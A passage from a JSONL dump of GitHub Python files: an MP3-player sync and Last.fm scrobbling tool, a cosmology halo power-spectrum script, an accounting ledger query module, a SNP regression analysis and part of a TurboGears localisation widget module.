help=\"playlists -> MP3 player\",\n                description=\"Copy all playlists to MP3 player.\")\n        subp_pl.set_defaults(func=self.cmd_cp_playlists)\n\n        subp_lyrics = subparsers.add_parser(\"cp-lyrics\",\n                aliases=[\"lyrics\"],\n                help=\"lyrics -> MP3 player\",\n                description=\"Copy all lyric files to MP3 player.\")\n        subp_lyrics.set_defaults(func=self.cmd_cp_lyrics)\n\n        subp_podcasts = subparsers.add_parser(\"cp-podcasts\",\n                help=\"podcasts -> MP3 player\",\n                aliases=[\"podcasts\"],\n                description=\"Copy select podcasts (defined in MP3Ctl) to MP3 player.\")\n        subp_podcasts.set_defaults(func=self.cmd_cp_podcasts)\n\n        subp_maintenance = subparsers.add_parser(\"maintenance\",\n                help=\"run maintenance commands\",\n                aliases=[\"maint\"],\n                description=\"Run all maintenance commands.\")\n        subp_maintenance.set_defaults(func=self.cmd_maintenance)\n\n        subp_mount = subparsers.add_parser(\"mount\",\n                help=\"(un)mount one or more devices\",\n                description=\"Just (un)mount the devices passed in the arguments. By default, uses system and media.\")\n        subp_mount.add_argument(\"devices\", nargs=\"*\", help=\"devices to mount\")\n        subp_mount.add_argument(\"-u\", \"--unmount\", help=\"unmount instead\", action=\"store_true\")\n        subp_mount.set_defaults(func=self.cmd_mount)\n\n        self.args = self.parser.parse_args()\n\n        self.args.verbose += 1 # force some verbosity\n        self._parse_verbosity()\n        self._read_config()\n\n    def _read_config(self):\n        config_file = self.args.config\n        self.config = configparser.ConfigParser()\n        self.config.read(config_file)\n\n        try:\n            self.musctl_bin = self.config[\"General\"][\"musctl\"]\n        except (AttributeError, KeyError):\n            self.musctl_bin = MP3Ctl.DEF_MUSCTL\n        try:\n            converted_exts_str = self.config[\"General\"][\"musctl_converted_exts\"]\n            self.converted_exts = converted_exts_str.split(\",\")\n        except (AttributeError, KeyError):\n            self.converted_exts = MP3Ctl.DEF_CONVERTED_EXTS\n\n        self.media_loc = {\n            \"music\":          self._get_general_opt(\"media_music\"),\n            \"playlists\":      self._get_general_opt(\"media_playlists\"),\n            \"lyrics\":         self._get_general_opt(\"media_lyrics\"),\n            \"scrobbles\":      self._get_general_opt(\"media_scrobbles\"),\n            \"podcasts\":       self._get_general_opt(\"media_podcasts\"),\n            \"music-portable\": self._get_general_opt(\"media_music_portable\"),\n            \"dev-music\":      self._get_general_opt(\"device_music\"),\n            \"dev-playlists\":  self._get_general_opt(\"device_playlists\"),\n            \"dev-lyrics\":     self._get_general_opt(\"device_lyrics\"),\n            \"dev-podcasts\":   self._get_general_opt(\"device_podcasts\")\n        }\n\n        self.device = {\n            \"media\":  MountDevice(self._get_general_opt(\"device_media\")),\n            \"system\": MountDevice(self._get_general_opt(\"device_system\"))\n        }\n\n    def _get_general_opt(self, opt_name):\n        try:\n            return os.path.expanduser(self.config[\"General\"][opt_name])\n        except (AttributeError, KeyError):\n            return None\n\n    def _require_locs(self, locs):\n        self.logger.warning(\"location requiring disabled in refactor\")\n        return True\n    ## }}}\n\n    def main(self):\n        \"\"\"Main entrypoint after program initialisation.\"\"\"\n        self.args.func()\n\n    def fail_if_error(self, function_ret, msg, ret):\n        \"\"\"Fail if function_ret is non-zero.\"\"\"\n        if function_ret != 0:\n            self.fail(msg, ret)\n\n    def run_shell_cmd(self, cmd, cwd=None, min_verb_lvl=3):\n        \"\"\"Run a shell command, only showing output if sufficiently verbose.\n\n        Assumes that command's output is \"optional\" in the first place, and\n        doesn't require any input.\n\n        @param cmd command to run as an array, where each element is an argument\n        @param cwd if present, directory to use as CWD\n        @param min_verb_lvl verbosity level required to show output\n        @return the command's exit code\n        \"\"\"\n        rc = 0\n        if self.args.quiet == 0 and self.args.verbose >= min_verb_lvl:\n            rc = drop_to_shell(cmd, cwd=cwd)\n        else:\n            rc = get_shell(cmd, cwd=cwd)[0]\n        return rc\n\n    def cmd_cp_playlists(self):\n        self._require_locs([\n            #self.device_loc[\"media\"],\n            self.media_loc[\"playlists\"],\n            self.media_loc[\"dev-playlists\"]\n        ])\n\n        self.logger.info(\"copying playlists to device...\")\n        self.logger.info(\"checking playlists with musctl...\")\n        # TODO: maybe split maintenance cmd into maintenance and maintenance-pl\n        self.fail_if_error(\n                drop_to_shell([self.musctl_bin, \"maintenance\"]),\n                \"error checking playlists with musctl\",\n                MP3Ctl.ERR_MUSCTL)\n        tmpdir = os.path.join(self.root_tmpdir, \"playlists\")\n        os.mkdir(tmpdir)\n\n        # cp to tmpdir, change extension\n        for pl in os.listdir(self.media_loc[\"playlists\"]):\n            shutil.copy(os.path.join(self.media_loc[\"playlists\"], pl),\n                        os.path.join(tmpdir, os.path.splitext(pl)[0] + \".{}\".format(MP3Ctl.PL_REFMT_EXT)))\n\n        # apply changes to tracks (prefix, extension)\n        for pl in os.listdir(tmpdir):\n            tracks = []\n            with open(os.path.join(tmpdir, pl), \"r+\") as f:\n                tracks = [self.__edit_playlist_line(line.strip()) for line in f]\n                f.seek(0)\n                for t in tracks:\n                    f.write(\"{}\\n\".format(t))\n                f.truncate()\n\n        self.logger.info(\"copying playlists over...\")\n        self.device[\"media\"].mount()\n        self.__cp_dir_contents(\n                tmpdir,\n                os.path.join(self.device[\"media\"].get_mountpoint(), self.media_loc[\"dev-playlists\"]))\n        self.device[\"media\"].unmount()\n\n    def __edit_playlist_line(self, track):\n        # prefix\n        track = \"{}/{}\".format(MP3Ctl.PL_REFMT_PREFIX, track)\n\n        # change ext\n        track_stem, track_ext = os.path.splitext(track)\n        if track_ext[1:] in self.converted_exts:\n            track = track_stem+\".ogg\"\n\n        return track\n\n    def __cp_dir_contents(self, src, dst):\n        \"\"\"Copies the contents of src to dst.\n\n        @param src a valid existing directory\n        @param dst a valid filepath (will be created if not present)\n        \"\"\"\n        # TODO: should --modify-window=10 be an optional argument instead?\n        cmd_rsync = [\"rsync\", \"-a\", \"--modify-window=10\"]\n        if hasattr(self.args, \"copy_links\") and self.args.copy_links:\n            cmd_rsync.append(\"--copy-links\")\n\n        # show output depending on verbosity\n        if self.args.verbose == 2:\n            cmd_rsync.append(\"--info=progress2\")\n        elif self.args.verbose >= 3:\n            cmd_rsync.append(\"-P\")\n\n        # note the trailing forward slash: rsync will copy directory contents\n        cmd_rsync += [src+\"/\", dst]\n\n        self.fail_if_error(\n                self.run_shell_cmd(cmd_rsync, min_verb_lvl=2),\n                \"rsync copy failed\", MP3Ctl.ERR_RSYNC)\n        self.logger.info(\"copy finished\")\n\n    def __cp_files(self, files, dst):\n        \"\"\"Copies files to dst.\n\n        @param files a list of existing files\n        @param dst   a valid filepath (will be created if not present)\n        \"\"\"\n        # TODO: code duplication\n        # TODO: should --modify-window=10 be an optional argument instead?\n        cmd_rsync = [\"rsync\", \"-a\", \"--modify-window=10\"]\n        if hasattr(self.parser, \"copy_links\") and self.parser.copy_links:\n            cmd_rsync.append(\"--copy-links\")\n\n        # show output depending on verbosity\n        if self.args.verbose == 2:\n            cmd_rsync.append(\"--info=progress2\")\n        elif self.args.verbose >= 3:\n            cmd_rsync.append(\"-P\")\n\n        cmd_rsync += files + [dst]\n\n        self.fail_if_error(\n                self.run_shell_cmd(cmd_rsync, min_verb_lvl=2),\n                \"rsync copy failed\", MP3Ctl.ERR_RSYNC)\n        self.logger.info(\"copy finished successfully\")\n\n    def cmd_cp_lyrics(self):\n        self._require_locs([\n            #self.device_loc[\"media\"],\n            self.media_loc[\"lyrics\"],\n            self.media_loc[\"dev-lyrics\"]\n        ])\n\n        tmpdir = os.path.join(self.root_tmpdir, \"lyrics\")\n        os.mkdir(tmpdir)\n\n        self.logger.info(\"filtering unwanted lyrics...\")\n        for f in os.listdir(self.media_loc[\"lyrics\"]):\n            with open(os.path.join(self.media_loc[\"lyrics\"], f)) as f_handle:\n                # don't copy unwanted lyrics (instrumental/not found with no\n                # notes)\n                if f_handle.read().strip() in MP3Ctl.LYRICS_UNWANTED:\n                    continue\n            shutil.copy(os.path.join(self.media_loc[\"lyrics\"], f),\n                        os.path.join(tmpdir, f))\n\n        # change naming scheme: \"artist - title.txt\" -> \"title.txt\"\n        self.logger.info(\"renaming lyric files...\")\n        track_split = re.compile(r\"(.*) - (.*).txt\")\n        for f in os.listdir(tmpdir):\n            match = track_split.match(f)\n            if match == None:\n                # not the naming scheme we expected: leave as-is\n                continue\n            track_artist = match[1]\n            track_title = match[2]\n            shutil.move(os.path.join(tmpdir, f), os.path.join(tmpdir, track_title) + \".txt\")\n\n        self.logger.info(\"copying lyrics over...\")\n        self.device[\"media\"].mount()\n        self.__cp_dir_contents(tmpdir,\n                os.path.join(self.device[\"media\"].get_mountpoint(), self.media_loc[\"dev-lyrics\"]))\n        self.device[\"media\"].unmount()\n\n    def cmd_cp_music(self):\n        self._require_locs([\n            #self.device_loc[\"media\"],\n            self.media_loc[\"music-portable\"],\n            self.media_loc[\"dev-music\"]\n        ])\n\n        self.logger.info(\"copying music over (from portable library)...\")\n        self.device[\"media\"].mount()\n        self.__cp_dir_contents(\n                self.media_loc[\"music-portable\"],\n                os.path.join(self.device[\"media\"].get_mountpoint(), self.media_loc[\"dev-music\"]))\n        self.device[\"media\"].unmount()\n\n    def __podcasts_mount_sshfs(self):\n        remote_host = \"raehik.net\"\n        remote_port = \"6176\"\n        remote_dir = \"/mnt/media/podcasts\"\n\n        if os.path.exists(self.media_loc[\"podcasts\"]):\n            self.fail(\"podcast archive directory already exists\", MP3Ctl.ERR_DEVICE)\n        os.mkdir(self.media_loc[\"podcasts\"])\n\n        self.logger.info(\"mounting podcast archive...\")\n        self.fail_if_error(\n                drop_to_shell([\"sshfs\", \"-o\", \"ro\", \"-p\", remote_port,\n                    \"{}:{}\".format(remote_host, remote_dir),\n                    self.media_loc[\"podcasts\"]]),\n                \"couldn't mount podcast archive\", MP3Ctl.ERR_DEVICE)\n\n    def __podcasts_unmount_sshfs(self):\n        self.logger.info(\"unmounting podcast archive...\")\n        self.fail_if_error(\n                drop_to_shell([\"fusermount\", \"-u\", self.media_loc[\"podcasts\"]]),\n                \"couldn't unmount podcast archive\", MP3Ctl.ERR_DEVICE)\n        os.rmdir(self.media_loc[\"podcasts\"])\n\n    def cmd_cp_podcasts(self):\n        self._require_locs([\n            #self.device_loc[\"media\"],\n            self.media_loc[\"podcasts\"],\n            self.media_loc[\"dev-podcasts\"]\n        ])\n\n        self.__podcasts_mount_sshfs()\n\n        ## Podcast: NHK Radio News {{{\n        p1_src = os.path.join(\"nhk-radio-news\", \"episodes\")\n        p1_dest = \"nhk-radio-news\"\n\n        p1_src_abs = os.path.join(self.media_loc[\"podcasts\"], p1_src)\n        p1_dest_abs = os.path.join(\n                self.device[\"media\"].get_mountpoint(),\n                self.media_loc[\"dev-podcasts\"],\n                p1_dest)\n        d_today = datetime.datetime.now().strftime(\"%Y%m%d\")\n        d_yest = (datetime.datetime.now() - datetime.timedelta(1)).strftime(\"%Y%m%d\")\n        d_two_days = (datetime.datetime.now() - datetime.timedelta(2)).strftime(\"%Y%m%d\")\n        d_tomorrow = (datetime.datetime.now() - datetime.timedelta(-2)).strftime(\"%Y%m%d\")\n\n        # select files to copy via date globs\n        p1_selected = []\n        for glob_path in [os.path.join(p1_src_abs, p) for p in (\"{}*\".format(d_today), \"{}*\".format(d_yest), \"{}*\".format(d_two_days))]:\n            p1_selected.extend(glob.glob(glob_path))\n        if len(p1_selected) == 0:\n            self.logger.info(\"no podcasts selected, exiting without mounting\")\n            self.__podcasts_unmount_sshfs()\n            return\n        ## }}}\n\n        self.device[\"media\"].mount()\n\n        shutil.rmtree(p1_dest_abs)\n\n        self.__cp_files(p1_selected, p1_dest_abs)\n\n        self.device[\"media\"].unmount()\n        self.__podcasts_unmount_sshfs()\n\n    def cmd_process_scrobbles(self):\n        self._require_locs([\n            #self.device_loc[\"system\"],\n            self.media_loc[\"scrobbles\"]\n        ])\n\n        self.logger.info(\"processing scrobbles...\")\n        log_list = []\n        if hasattr(self.args, \"file\") and len(self.args.file) >= 1:\n            for f in self.args.file:\n                if not os.path.isfile(f):\n                    self.fail(\"not a file: {}\".format(f), MP3Ctl.ERR_ARGS)\n                log_list.append(f)\n        else:\n            self.logger.info(\"grabbing device scrobble log...\")\n            log_archive_file = os.path.join(self.media_loc[\"scrobbles\"], MP3Ctl.SCROB_LOG_ARCHIVE_FILE)\n            self.device[\"system\"].mount()\n            try:\n                # archive log\n                shutil.move(\n                        os.path.join(self.device[\"system\"].get_mountpoint(), MP3Ctl.SCROB_LOG),\n                        log_archive_file)\n            except FileNotFoundError:\n                self.logger.info(\"no scrobbler log present\")\n                self.device[\"system\"].unmount()\n                return\n            self.device[\"system\"].unmount()\n\n            # remove exec. bit\n            get_shell([\"chmod\", \"-x\", log_archive_file])\n\n            self.logger.info(\"log moved from device -> {}\".format(log_archive_file))\n            log_list.append(log_archive_file)\n\n        self.__init_scrobbler()\n\n        for log in log_list:\n            if hasattr(self.args, \"edit\") and self.args.edit:\n                self.logger.info(\"editing scrobble log {}...\".format(log))\n                drop_to_shell([os.getenv(\"EDITOR\", \"vim\"), log])\n            self.__submit_scrobble_log(log)\n\n    def __init_scrobbler(self):\n        self.scrobbler = pylast.LastFMNetwork(\n                api_key=self.config[\"Scrobbling\"][\"api_key\"],\n                api_secret=self.config[\"Scrobbling\"][\"api_secret\"],\n                username=self.config[\"Scrobbling\"][\"username\"],\n                password_hash=self.config[\"Scrobbling\"][\"password_hash\"])\n\n    def __submit_scrobble_log(self, log):\n        self.logger.info(\"scrobbling {}...\".format(log))\n        tracks = []\n        tracks_count = 0\n        listened_count = 0\n        with open(log, \"r\") as f:\n            for line in f:\n                if line.startswith(\"#\"):\n                    # ignore comment lines (found at the top of the file)\n                    continue\n                tracks_count += 1\n                parts = re.split(r\"\\t\", line.rstrip(\"\\r\\n\"))\n                parts = [ None if p == \"\" else p for p in parts ]\n                track = {\"artist\":    parts[0],\n                         \"album\":     parts[1],\n                         \"title\":     parts[2],\n                         \"track_num\": parts[3],\n                         \"duration\":  parts[4],\n                         \"status\":    parts[5],\n                         \"timestamp\": self.__fix_timestamp(int(parts[6])),\n                         \"mbid\":      parts[7]\n                }\n                self.logger.debug(\"{} {} {} - {}\".format(track[\"status\"], track[\"timestamp\"], track[\"artist\"], track[\"title\"]))\n                if track[\"status\"] == \"S\":\n                    # song was considered skipped, ignore\n                    continue\n                elif track[\"status\"] == \"L\":\n                    # song was considered listened to, scrobble it\n                    tracks.append(track)\n                    listened_count += 1\n                else:\n                    self.fail(\"misformed scrobble log\", MP3Ctl.ERR_SCROBBLER)\n        self.scrobbler.scrobble_many(tracks)\n        self.logger.info(\"scrobbled tracks: {} listened, {} total\".format(listened_count, tracks_count))\n\n    def __fix_timestamp(self, epoch):\n        return datetime.datetime.utcfromtimestamp(epoch).strftime(\"%s\")\n\n    def cmd_maintenance(self):\n        self.cmd_process_scrobbles()\n        self.cmd_cp_playlists()\n        self.cmd_cp_lyrics()\n        self.cmd_cp_music()\n\n    def cmd_mount(self):\n        # default: mount system and media\n        devices = [\"system\", \"media\"]\n        if hasattr(self.args, \"devices\") and len(self.args.devices) >= 1:\n            devices = self.args.devices\n        for device in devices:\n            try:\n                if hasattr(self.args, \"unmount\") and self.args.unmount:\n                    self.logger.info(\"unmounting device {} from {} ...\".format(device, self.device[device].get_mountpoint()))\n                    self.device[device].unmount()\n                else:\n                    self.device[device].mount()\n                    print(\"mounted device {} to {}\".format(device, self.device[device].get_mountpoint()))\n            except KeyError:\n                self.fail(\"unknown device: {}\".format(device), MP3Ctl.ERR_ARGS)\n\nif __name__ == \"__main__\":\n    mp3ctl = MP3Ctl()\n    mp3ctl.run()\n","repo_name":"raehik/mp3ctl","sub_path":"mp3ctl.py","file_name":"mp3ctl.py","file_ext":"py","file_size_in_byte":25350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"35005539065","text":"import numpy as np\nimport sys,os\nimport readfof\nimport MAS_library as MASL\nimport Pk_library as PKL\n\n################################## INPUT ######################################\n# location of the halo catalogues\nroot = '/mnt/ceph/users/fvillaescusa/Neutrino_simulations/Sims_Dec16_2/'\n\n# parameters to select halos\nBoxSize = 1000.0 #Mpc/h\nMmin    = 5e13   #Msun/h\n\n# cosmology\nmodel   = '0.0eV'\nsnapnum = 3 #3(z=0) 2(0.5) 1(z=1) 2(z=2)\n\n# realization\nrealization = 1\n\n# parameters for the Pk\ngrid = 256\n###############################################################################\n\n# find the name of the folder containing the halo catalogue\nsnapdir = '%s/%s/%d'%(root,model,realization)\n\n# determine the redshift of the catalogue\nz_dict = {3:0.0, 2:0.5, 1:1.0, 0:2.0}\nredshift = z_dict[snapnum]\n\n# read the halo catalogue\nFoF = readfof.FoF_catalog(snapdir, snapnum, long_ids=False,\n                          swap=False, SFR=False, read_IDs=False)\n\t\t\t\t\t\t\t\t\t\t\n# get the properties of the halos\npos_h = FoF.GroupPos/1e3            #Halo positions in Mpc/h   \nmass  = FoF.GroupMass*1e10          #Halo masses in Msun/h           \nvel_h = FoF.GroupVel*(1.0+redshift) #Halo peculiar velocities in km/s\nNpart = FoF.GroupLen                #Number of CDM particles in the halo\n\n# consider only the halos with M>Mmin\nindexes = np.where(mass>Mmin)[0]\npos_h = pos_h[indexes]\nmass  = mass[indexes]\n\n# define the grid containing the halo density field\ndelta_h = np.zeros((grid,grid,grid), dtype=np.float32)\n\n# assign halo positions to the grid\nMASL.MA(pos_h, delta_h, BoxSize, MAS='CIC')\ndelta_h /= np.mean(delta_h, dtype=np.float64);  delta_h -= 1.0\n\n# compute Pk\nPk = PKL.Pk(delta_h, BoxSize, axis=0, MAS='CIC', threads=1)\n\n# get k and Pk\nk  = Pk.k3D\nPk = Pk.Pk[:,0]\n","repo_name":"franciscovillaescusa/CF_halos","sub_path":"halo_clustering/halo_clustering.py","file_name":"halo_clustering.py","file_ext":"py","file_size_in_byte":1762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"70201836670","text":"\"\"\"\nStrategy that performs transaction querying locally.\nThe tried and tested way of doing things, though not as performant as\nquery_manager_remote_strategy.py.\nSee query_manager_strategy.py for interface docs.\nUse query_manager_strategy_factory.py to get an instance of this class.\n\"\"\"\n\nimport dateutil.parser\nimport pandas as pd\nimport accountifie.gl.cache\nfrom accountifie.common.api import api_func\n\nimport accountifie.toolkit.utils as utils\n\nfrom decimal import Decimal, ROUND_HALF_UP\nfrom functools import partial\nfrom .query_manager_strategy import QueryManagerStrategy\n\n\nclass QueryManagerLocalStrategy(QueryManagerStrategy):\n\n    def account_balances_for_dates(self, company_id, account_ids, dates, with_counterparties, excl_interco, excl_contra):\n        date_indexed_account_balances = {}\n        entries = self.__pd_balances_prep(company_id,\n                                          account_ids,\n                                          excl_interco=excl_interco,\n                                          excl_contra=excl_contra,\n                                          with_counterparties=with_counterparties)\n\n        if entries is None:\n            return {dt: {account: Decimal(0) for account in account_ids} for dt in dates}\n\n        for dt in dates:\n            start = dates[dt]['start']\n            end = dates[dt]['end']\n\n            sub_entries = self.__depreciation_calcs(start, end, entries)\n            col = sub_entries[['account_id', 'amount']].groupby('account_id').sum()['amount']\n            date_indexed_account_balances[dt] = col.to_dict()\n\n        return date_indexed_account_balances\n\n    def transactions(self, company_id, account_ids, from_date, to_date, chunk_frequency, with_counterparties, excl_interco, excl_contra):\n        period_entries = []\n        from_date = dateutil.parser.parse(from_date).date() if isinstance(from_date, str) else from_date\n        to_date = dateutil.parser.parse(to_date).date() if isinstance(to_date, str) else to_date\n\n        periods = [{'from': from_date, 'to': to_date}]\n        if chunk_frequency == 'end-of-month':\n            periods = self.monthly_chunk_periods(from_date, to_date)\n        else:\n            raise Exception('Unknown chunk frequency: %s' % chunk_frequency)\n\n        cache = accountifie.gl.cache.get_cache(company_id)\n        clean_end = lambda row: row['date_end'] if row['date_end'] else row['date']\n        clean_id = lambda row: str(row['transaction_id'])\n        for period in periods:\n            start = period['from']\n            end = period['to']\n\n            entries = cache.get_gl_entries(account_ids, from_date=start, to_date=end)\n\n            if entries is not None and not entries.empty:\n                if with_counterparties:\n                    entries = entries[entries['counterparty'] in with_counterparties]\n\n                if excl_contra and not entries.empty:\n                    for contra in excl_contra:\n                        entries = entries[entries.contra_accts.map(lambda x: contra not in x.split(','))]\n\n                if excl_interco and not entries.empty:\n                    entries = entries[~entries.apply(self.__inter_co, axis=1)]\n\n                if entries.empty:\n                    break\n\n                entries['transaction_id'] = entries.apply(clean_id, axis=1)\n                entries['date_end'] = entries.apply(clean_end, axis=1)\n                sub_entries = self.__depreciation_calcs(start, end, entries)\n\n                sub_entries.reset_index(drop=False, inplace=True)\n                sub_entries.rename(columns={'transaction_id': 'id'}, inplace=True)\n                period_entries.append(sub_entries)\n\n        if len(period_entries) == 0:\n            return None\n        else:\n            all_entries = pd.concat(period_entries, ignore_index=True)\n            return all_entries.filter(items=['date', 'id', 'comment', 'account_id', 'contra_accts', 'counterparty', 'amount']).to_dict()\n\n    def __pd_balances_prep(self, company_id, account_ids, excl_contra=None, excl_interco=False, with_counterparties=None):\n        if api_func('gl', 'company', company_id)['cmpy_type'] == 'CON':\n            excl_interco = True\n\n        cache = accountifie.gl.cache.get_cache(company_id)\n\n        entries = cache.get_gl_entries(account_ids)\n\n        if entries is None or entries.empty:\n            return None\n\n        if excl_contra:\n            for contra in excl_contra:\n                entries = entries[entries.contra_accts.map(lambda x: contra not in x.split(','))]\n\n        if excl_interco:\n            entries = entries[~entries.apply(self.__inter_co, axis=1)]\n\n        if with_counterparties:\n            entries = entries[entries['counterparty'] in with_counterparties]\n\n        if entries.empty:\n            return None\n\n        clean_end = lambda row: row['date_end'] if row['date_end'] else row['date']\n        entries['date_end'] = entries.apply(clean_end, axis=1)\n\n        return entries\n\n\n    \"\"\"\n    def create_gl_transactions(self, d2, lines, trans_id, bmo_id):\n\n        \n        tran = accountifie.gl.models.Transaction(**d2)\n        tran.source_object = d2.pop('source_object')\n        tran.bmo_id = bmo_id\n        tran.save()\n\n        for l in lines:\n            if type(l['account']) in (str,):\n                l['account'] = accountifie.gl.models.Account.objects.get(id=l['account'])\n            if type(l['counterparty']) in (str,):\n                l['counterparty'] = accountifie.gl.models.Counterparty.objects.get(id=l['counterparty'])\n            tran.tranline_set.create(account=l['account'],\n                                     amount=l['amount'],\n                                     counterparty=l['counterparty'],\n                                     tags=l['tags'])\n    \"\"\"\n\n    def delete_bmo_transactions(self, company_id, bmo_id):\n        logger.info('Deleting transactions: bmo ID=%s, Company=%s' % (company_id, bmo_id))\n        for t in accountifie.gl.models.Transaction.objects.filter(bmo_id=bmo_id):\n            t.delete()\n\n    def __depreciation_calcs(self, start, end, entries):\n        extend_comment = lambda row: row['comment'] + (' (prorated)' if row['deprec_factor'] < Decimal('1') else '')\n        sub_entries = entries[(entries.date <= end) & (entries.date_end >= start)]\n        _deprec_factor = partial(self.deprec_factor, start=start, end=end)\n\n        if not sub_entries.empty:\n            sub_entries.loc[:, 'deprec_factor'] = sub_entries.apply(_deprec_factor, axis=1)\n            sub_entries.loc[:, 'comment'] = sub_entries.apply(extend_comment, axis=1)\n            sub_entries.loc[:, 'amount'] *= sub_entries['deprec_factor']\n            sub_entries.loc[:, 'amount'] = sub_entries['amount'].map(lambda x: x.quantize(Decimal('0.01'), rounding=ROUND_HALF_UP))\n            sub_entries.loc[:, 'date_end'] = sub_entries.apply(lambda row: min(row['date_end'], end), axis=1)\n        return sub_entries\n\n    @staticmethod\n    def monthly_chunk_periods(from_date, to_date):\n        # dates should be from_date, to_date and the first and last days of every month included\n        months = list(set(utils.monthrange(from_date, to_date)))\n        dates = [(max(utils.start_of_month(x[1], x[0]), from_date), min(utils.end_of_month(x[1], x[0]), to_date)) for x in months]\n        periods = [{'from': dt[0], 'to': dt[1]} for dt in dates]\n        return periods\n\n    @staticmethod\n    def __inter_co(row):\n        ext_accts = api_func('gl', 'externalaccounts')\n        companies = [cmpy['id'] for cmpy in api_func('gl', 'company')]\n        if row['account_id'] in ext_accts:\n            return False\n        if row['counterparty'] in companies:\n            return True\n        else:\n            return False\n\n\n    @staticmethod\n    def deprec_factor(row, start, end):\n        if row['date_end'] is None or row['date_end'] == row['date']:\n            return Decimal('1')\n        days_outside = Decimal(max((row['date_end'] - end).days, 0) + max((start - row['date']).days, 0))\n        expense_period = Decimal((row['date_end'] - row['date']).days + 1)\n        deprec_factor = Decimal('1')\n        if expense_period > 0:\n            deprec_factor -= days_outside / expense_period\n        return deprec_factor","repo_name":"imcallister/accountifie","sub_path":"accountifie/query/query_manager_local_strategy.py","file_name":"query_manager_local_strategy.py","file_ext":"py","file_size_in_byte":8187,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"27207350183","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom scipy import stats\n\n# Import data\nphenotypes = np.loadtxt(\"../data/linear_regression_data/linear_regression.pheno\", dtype='float')\ngenotype_strings = np.loadtxt(\"../data/linear_regression_data/linear_regression.geno\", dtype='str')\n\n# Constants related to data\nNUM_PHENOTYPES = len(phenotypes[0])\nNUM_SNPS = len(genotype_strings)\nNUM_DATA_POINTS = len(phenotypes)\nLEVEL = 0.05\n\n# Massage the genotypes into a numpy matrix\n# Columns are individuals\ngenotypes = np.zeros((NUM_SNPS, NUM_DATA_POINTS), dtype='int')\nfor i in range(NUM_SNPS):\n    genotypes[i,:] = np.array([int(s) for s in list(genotype_strings[i])], dtype='int')\n\n# Calculate rejection threshold with Bonferroni Procedure\nthreshold = LEVEL / (NUM_SNPS*4)\n\n# Store p-values from the following regression test\np_values = np.zeros((NUM_PHENOTYPES, NUM_SNPS))\n\n# Note any SNPs associated to phenotypes\nassociations = {new_list: [] for new_list in range(NUM_PHENOTYPES)} \n\n# Run the regression test\nfor i in range(NUM_PHENOTYPES):\n    for j in range(NUM_SNPS):\n        _, _, _, p_value, _ = stats.linregress(genotypes[j,:], phenotypes[:,i])\n        p_values[i,j] = p_value\n        if p_value <= threshold:\n            print(\"SNP \" + str(j+1) + \" is associated to phenotype \" + str(i+1))\n            associations[i].append(j)\n\n# Plot p-values of SNP tests for each phenotype\n# Visually inspect if they are uniformly distributed\nfor i in range(NUM_PHENOTYPES):\n    n, bins, patches = plt.hist(x=p_values[i,:], bins='auto', color='#0504aa', alpha=0.7, rwidth=0.85)\n    plt.grid(axis='y', alpha=0.75)\n    plt.title(\"p-values for Phenotype \" + str(i+1))\n    plt.xlabel(\"p-value\")\n    plt.ylabel(\"Frequency\")\n    maxfreq = n.max()\n    plt.ylim(ymax=np.ceil(maxfreq / 10) * 10 if maxfreq % 10 else maxfreq + 10)\n    plt.show()\n\n# Make box plot of associated SNPs\nfor i in range(NUM_PHENOTYPES):\n    for s in associations[i]:\n        data = {'Phenotype': phenotypes[:,i], 'Number of Bases': genotypes[s,:]}\n        df = pd.DataFrame(data, columns=['Phenotype', 'Number of Bases'])\n        boxplot = df.boxplot(by='Number of Bases', column=['Phenotype'])\n        plt.title(\"Phenotype \" + str(i+1) + \", SNP \" + str(s+1))\n        plt.show()\n","repo_name":"zackeberger/ML_bioinformatics","sub_path":"regression/src/linear_regression.py","file_name":"linear_regression.py","file_ext":"py","file_size_in_byte":2262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"22860990850","text":"import os\nfrom cherrypy import request\nfrom turbogears.i18n import get_locale\nfrom turbogears import startup, config\nfrom turbogears.util import parse_http_accept_header\nfrom turbogears.i18n.utils import lang_in_gettext_format\nfrom turbogears.widgets.base import JSLink, CoreWD, RenderOnlyWD, static\n\n__all__ = [\"CalendarLangFileLink\", \"LocalizableJSLink\"]\n\nclass CalendarLangFileLink(JSLink):\n    \"\"\"Links to proper calendar.js language file depending on HTTP info.\"\"\"\n    def update_params(self, d):\n        accept_language = parse_http_accept_header(            \n            request.headers.get(\"Accept-Language\")\n        ) or ['']\n        accept_charset = parse_http_accept_header(\n            request.headers.get(\"Accept-Charset\")\n        ) or ['']\n        base_dir = config.get(\"static_filter.dir\", \n                              path=\"/tg_widgets/%s\" % self.mod)\n        def find_link():\n            for name_pattern in self.name:\n                for lang in accept_language:\n                    for charset in accept_charset:\n                        params = dict()\n                        params[\"lang\"] = lang\n                        params[\"charset\"] = charset\n                        params[\"gettext_lang\"] = lang_in_gettext_format(lang)\n                        params[\"gettext_charset\"] = charset.upper()\n                        params[\"custom_lang\"] = self.custom_lang(lang)\n                        params[\"custom_charset\"] = self.custom_charset(charset)\n                        name = name_pattern % params\n                        if os.path.exists(base_dir + '/' + name):\n                            link = \"/%stg_widgets/%s/%s\" % (startup.webpath,\n                                                            self.mod,\n                                                            name)\n                            return link\n        d[\"link\"] = find_link()\n\n    def custom_lang(self, lang):\n        return None\n\n    def custom_charset(self, charset):\n        return None\n\nclass LocalizableJSLink(JSLink):\n\n    \"\"\"\n    Provides a simple way to include language-specific data in your\n    Javascript code.\n\n    Language file to use is determined from the user's locale or from the 'language'\n    parameter. If there is no language file for the language (determined via\n    'supported_languages' parameter) than 'default_language' is used.\n    \"\"\"\n\n    default_language = 'en'\n    supported_languages = ['en']\n    params = ['default_language', 'language', 'supported_languages']\n    params_doc = {\n        'language' : 'language code to use ' \\\n            '(overrides user locale setting which is the default)',\n        'default_language' : 'language code to use ' \\\n                'if specified language is not supported',\n        'supported_languages' : 'list of supported language codes ' \\\n                ' (which means corresponding language files exist)',\n    }\n\n    def update_params(self, d):\n        super(LocalizableJSLink, self).update_params(d)\n        language = d.get('language') or get_locale()\n        if language not in self.supported_languages:\n            language = self.default_language\n        d['link'] = d['link'] % {'lang':language}\n\nclass LocalizableJSLinkDesc(CoreWD, RenderOnlyWD):\n    name = 